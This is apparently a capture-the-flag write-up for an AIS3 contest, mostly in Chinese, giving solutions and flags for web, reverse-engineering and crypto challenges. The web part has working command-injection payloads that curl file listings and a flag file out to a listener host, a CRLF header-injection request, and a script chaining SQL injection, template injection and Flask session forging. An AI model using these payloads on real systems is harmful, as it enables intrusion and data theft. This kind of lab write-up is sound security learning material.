Misc
Welcome
題目
Flag
AIS3{W3lc0mE_T0_A1S5s_EOF_2o24}
Web
DNS Lookup Tool: Final
Webpage
解題
正常
不存在 domain
使用違規字元
讀 code 找到 blacklist
發現 $()
沒檔,測一下
過了
exploit
#!/usr/bin/env python3
from flask import Flask,request,redirect,Response
app = Flask(__name__)
@app.route('/',methods=['GET', 'POST'])
def root():
print(request.stream.read().decode())
return "com"
@app.route('/<path:data>',methods=['GET'])
def run(data):
print(data)
return "com"
if __name__ == "__main__":
app.run(host="::", port=80)
payload
curl http://10.105.0.21:21520/ -d 'name=example.$(curl 10.105.2.22 -d "$(ls /)")'
curl http://10.105.0.21:21520/ -d 'name=example.$(curl 10.105.2.22 -d "$(cat /flag_SWeUMks9hGYFciax)")'
curl http://10.105.0.21:21520/ -d 'name=example.$(curl 10.105.2.22 -d "$(cat /$(echo f)lag_SWeUMks9hGYFciax)")'
Flag
AIS3{jUsT_3@$y_cOMmAnD_INJEc7ION}
Internal
解題
看 code ,似乎是 url 帶 redir
參數會被 rediract 到後面的 url
path 用 /flag
會被 nginx 擋,所以可能要繞過 nginx 取得後端的 /flag
api
仔細看,這邊似乎有 CRLF 的問題(regex 遇到換行會無效,只檢查到換行前)
所以我們可以任意更改 response 的 header 或 content。
參考這個 nginx doc internal,我們可以增加 X-Accel-Redirect
header 讓 nginx 收到這個 response 時從 nginx 改成回傳 /flag
api 的內容。
exploit
curl -vvv "$1?redir=$(urlencode "https://google.com
X-Accel-Redirect: /flag")"
Flag
AIS3{jU$T_sOM3_funNy_N91Nx_FEatur3}
copypasta
解題
一個複製文產生器
他會保存所有人在這個網頁生成的文章,裡面有一個文章含有 flag,我們要把牠撈出來。
但是兩個問題
- 沒有該文章的 ID
- 如果 session 裡面沒有該文章的 ID 他會 permission denied
發現這邊有 SQLi
的漏洞
這邊還有 SSTI
的漏洞
因此思路會是:
- 用 SQLi 生成一個帶有 SSTI payload 的模板並生成文章
- 利用這個文章的 SSTI 把 session 的
secret_key
leak 出來 - 用 SQLi 生成一個模板,裡面有 flag page id 的資料
- 用 leak 出來 的
secret_key
修改 session - 讀取 flag page
於是構建出 SSTI payload field.__init__.__globals__[http]._dt_as_utc.__globals__[sys].modules[flask].current_app.secret_key
然後搭配 SQLi 得到這個 payload union SELECT 0 as id, 'ans' as title, '{field.__init__.__globals__[http]._dt_as_utc.__globals__[sys].modules[flask].current_app.secret_key}' as template
還有 dump flag page id 的 SQLi payload union SELECT id, id as title, id as template from copypasta where orig_id=3
exploit
import requests
import sys
import urllib.parse
import hashlib
from bs4 import BeautifulSoup
from flask.json.tag import TaggedJSONSerializer
from itsdangerous import *
session = requests.session()
sqli = " union SELECT 0 as id, 'ans' as title, '{field.__init__.__globals__[http]._dt_as_utc.__globals__[sys].modules[flask].current_app.secret_key}' as template"
session.get(f'{sys.argv[1]}')
data = session.post(f'{sys.argv[1]}/use?id=0{urllib.parse.quote(sqli, safe="")}', params={'a': 'a'}).text
secret_key = BeautifulSoup(data, "html.parser").article.get_text()
print(f'secret_key: {secret_key}')
sqli = " union SELECT id, id as title, id as template from copypasta where orig_id=3"
data = session.get(f'{sys.argv[1]}/use?id=0{urllib.parse.quote(sqli, safe="")}').text
flagid = BeautifulSoup(data, "html.parser").pre.get_text()
print(f'flagid: {flagid}')
for a in session.cookies:
if a.name == 'session':
nowsession = a
break
serializer = URLSafeTimedSerializer(secret_key=secret_key,
salt='cookie-session',
serializer=TaggedJSONSerializer(),
signer_kwargs={
'key_derivation': 'hmac',
'digest_method': hashlib.sha1,
})
sessiondata = serializer.loads(nowsession.value)
sessiondata['posts'].append(flagid)
session.cookies.set(nowsession.name, serializer.dumps(sessiondata), domain=nowsession.domain, path=nowsession.path)
print(session.get(f'{sys.argv[1]}/view/{flagid}').text)
Flag
AIS3{I_l0Ve_P@$tA_@ND_cOpypasta}
Reverse
Flag Generator
解題
一個 windows 執行檔
執行以後他會生成另一個 flag.exe
執行檔,但是不知道為甚麼生成的檔案是空的。
IDA 打開來看到他會執行 writeFile
function 來寫 flag.exe
檔案
但是這個 writeFile
裡面沒有寫寫檔的程式,只有印一串字串到 stdout。
所以需要 patch 一下,把一些不需要的拿掉,然後把 fwrite
改成對這個檔案作用,而不是 stdout
成功生成 flag.exe
以後執行就拿到 flag 了
Flag
AIS3{Us1n9_WINd0w5_I$_suCh_@_p@1N....}
Stateful
解題
他是一個 linux ELF 執行檔
執行後直接噴 WRONG!!!
似乎執行時要輸入一個長度為 43 的字串參數,應該是 flag,這個字串會經過 state_machine
function 運算後跟 k_target
裡的資料一個一個做比對。
把 k_target
複製出來
state_machine
裡面會有一坨判斷並且會按照某個特定順序執行裡面的這些 function,設定中斷點做 debug 逐步執行,並且記錄這些 function 的執行過程
得到:
state_3618225054
state_2057902921
state_671274660
state_2357240312
state_1438496410
state_2263885268
state_4260333374
state_3995931083
state_3844354947
state_2421543205
state_416430256
state_2373489361
state_2202680315
state_4026467378
state_1765279360
state_2131447726
state_1132589236
state_3443361864
state_2098792827
state_4237907356
state_269727185
state_1780152111
state_4046605750
state_3544494813
state_4008735947
state_2309210106
state_3908914479
state_2095151013
state_2816834243
state_4165665722
state_3656605789
state_1154341356
state_809393455
state_1093244921
state_1595228866
state_2316743832
state_2907124712
state_3507844042
state_3907553856
state_1929982570
state_4130555047
state_794507810
state_1843624184
state_3901233957
state_126130845
state_71198295
state_557589375
state_3420754995
state_3648003850
state_1978986903
這些 function 的內部都是一個加減法運算,所以我們按照這個順序反過來把 k_target
推回去就會拿到 flag 了
exploit
data = bytearray(b'\x9E\x26\xEC\x33\xE6\x03\xF4\x3A\x6B\x62\x85\x75\x5F\xC4\xD1\x81\x3B\xEC\xF8\xB0\xFA\x34\x4C\xF2\x58\x72\x5F\x0D\x54\x34\x7B\x22\xCD\x33\x53\x53\xC3\xFA\x54\x80\x33\xCC\x7D')
data = [int(a) for a in data]
data[5] -= data[37] + data[20]
data[8] -= data[14] + data[16]
data[17] -= data[38] + data[24]
data[15] -= data[40] + data[8]
data[37] -= data[12] + data[16]
data[4] -= data[6] + data[22]
data[10] += data[12] + data[22]
data[18] -= data[26] + data[31]
data[23] -= data[30] + data[39]
data[4] -= data[27] + data[25]
data[37] -= data[27] + data[18]
data[41] += data[3] + data[34]
data[13] -= data[26] + data[8]
data[2] -= data[34] + data[25]
data[0] -= data[28] + data[31]
data[4] -= data[7] + data[25]
data[18] -= data[29] + data[15]
data[21] += data[13] + data[42]
data[21] -= data[34] + data[15]
data[7] -= data[10] + data[0]
data[13] -= data[25] + data[28]
data[32] -= data[5] + data[25]
data[31] -= data[1] + data[16]
data[1] -= data[16] + data[40]
data[30] += data[13] + data[2]
data[1] -= data[15] + data[6]
data[7] -= data[21] + data[0]
data[24] -= data[20] + data[5]
data[36] -= data[11] + data[15]
data[0] -= data[33] + data[16]
data[19] -= data[10] + data[16]
data[1] += data[29] + data[13]
data[30] += data[33] + data[8]
data[15] -= data[22] + data[10]
data[20] -= data[19] + data[24]
data[27] -= data[18] + data[20]
data[39] += data[25] + data[38]
data[23] -= data[7] + data[34]
data[37] += data[29] + data[3]
data[5] -= data[40] + data[4]
data[17] -= data[0] + data[7]
data[9] -= data[11] + data[3]
data[31] -= data[34] + data[16]
data[16] -= data[25] + data[11]
data[14] += data[32] + data[6]
data[6] -= data[10] + data[41]
data[2] -= data[11] + data[8]
data[0] += data[18] + data[31]
data[9] += data[2] + data[22]
data[14] -= data[35] + data[8]
data = [(a + 512) % 256 for a in data]
print(data)
print(bytes(data))
Flag
AIS3{arE_Y0u_@_sTATEfuL_Or_ST4t3L3SS_CTF3R}
PixelClicker
(本題是賽後解的)
解題
一個充滿了點點的正方形的 windows from,這接點點(pixel)可以點擊
IDA 打開來看翻一翻,翻到 sub_7FF7059813B0
function 應該是處理點擊 pixel 的 function
最下面的 switch 是處理計數的,點擊次數是存在 dword_7FF705985708
這個 global var 裡
上面的 if 是判斷遊戲成功或失敗以及結束的區段。
可以發現她會叫你點 600 次以上才結束
最後通靈一下應該要把 Block 挖出來存起來看看。
因為 600 次太久了,所以把他 patch 成點 1 次就好
中斷點設置在執行完 Block 以後
找到 Block 的位置後,把她的資料在 Hex view 全部選取
右鍵 save file
然後開 cmd 用 file 看一下發現他長度有 1440054 bytes
剛剛選取的不夠的話在重新做一次選取 1440054 bytes 然後 save file
最後用圖片的方式開,可以看到這張圖片
Flag
AIS3{jUSt_4_5imPLE_clICkEr_g@m3}
Crypto
Baby RSA
解題
進去會給你 N 跟 e 還有用這個 N 跟 e RSA 加密後的 flag 密文
每次進去的 N 都不一樣,但是 e 都會是 3
可以用 Coppersmith Basic Broadcast Attack,先收集一定數量的 N 跟 flag 密文,然後用 Broadcast Attack 破解密文就會拿到 flag
exploit
import sys
from pwn import *
from Crypto.Util.number import bytes_to_long, long_to_bytes
import json
import gmpy2
from functools import reduce
def modinv(a, m):
return int(gmpy2.invert(a, m))
def chinese_remainder(n, a):
sum = 0
prod = reduce(lambda a, b: a * b, n)
for n_i, a_i in zip(n, a):
p = prod // n_i
sum += a_i * modinv(p, n_i) * p
return int(sum % prod)
if len(sys.argv) > 3:
target = sys.argv[1]
port = int(sys.argv[2])
N = []
c = []
for a in range(int(sys.argv[3])):
r = remote(target, port)
key = r.recvline().strip().decode()
N.append(str(key.split(',')[0].split('=')[1]))
c.append(str(r.recvline().strip().decode().split(':')[1].strip()))
r.close()
with open(sys.argv[4], 'w') as f:
f.write(json.dumps({'N': N, 'c': c}))
else:
with open(sys.argv[1], 'r') as f:
data = json.loads(f.read())
m = chinese_remainder([int(a) for a in data['N']], [int(a) for a in data['c']])
m, state = gmpy2.iroot(m, 3)
print(hex(int(m)))
print(long_to_bytes(m))
python3 exp.py chal1.eof.ais3.org 10002 20 data.json
python3 exp.py data.json
Flag
AIS3{c0pPerSMItH$_5hOr7_p@D_a7t4Ck}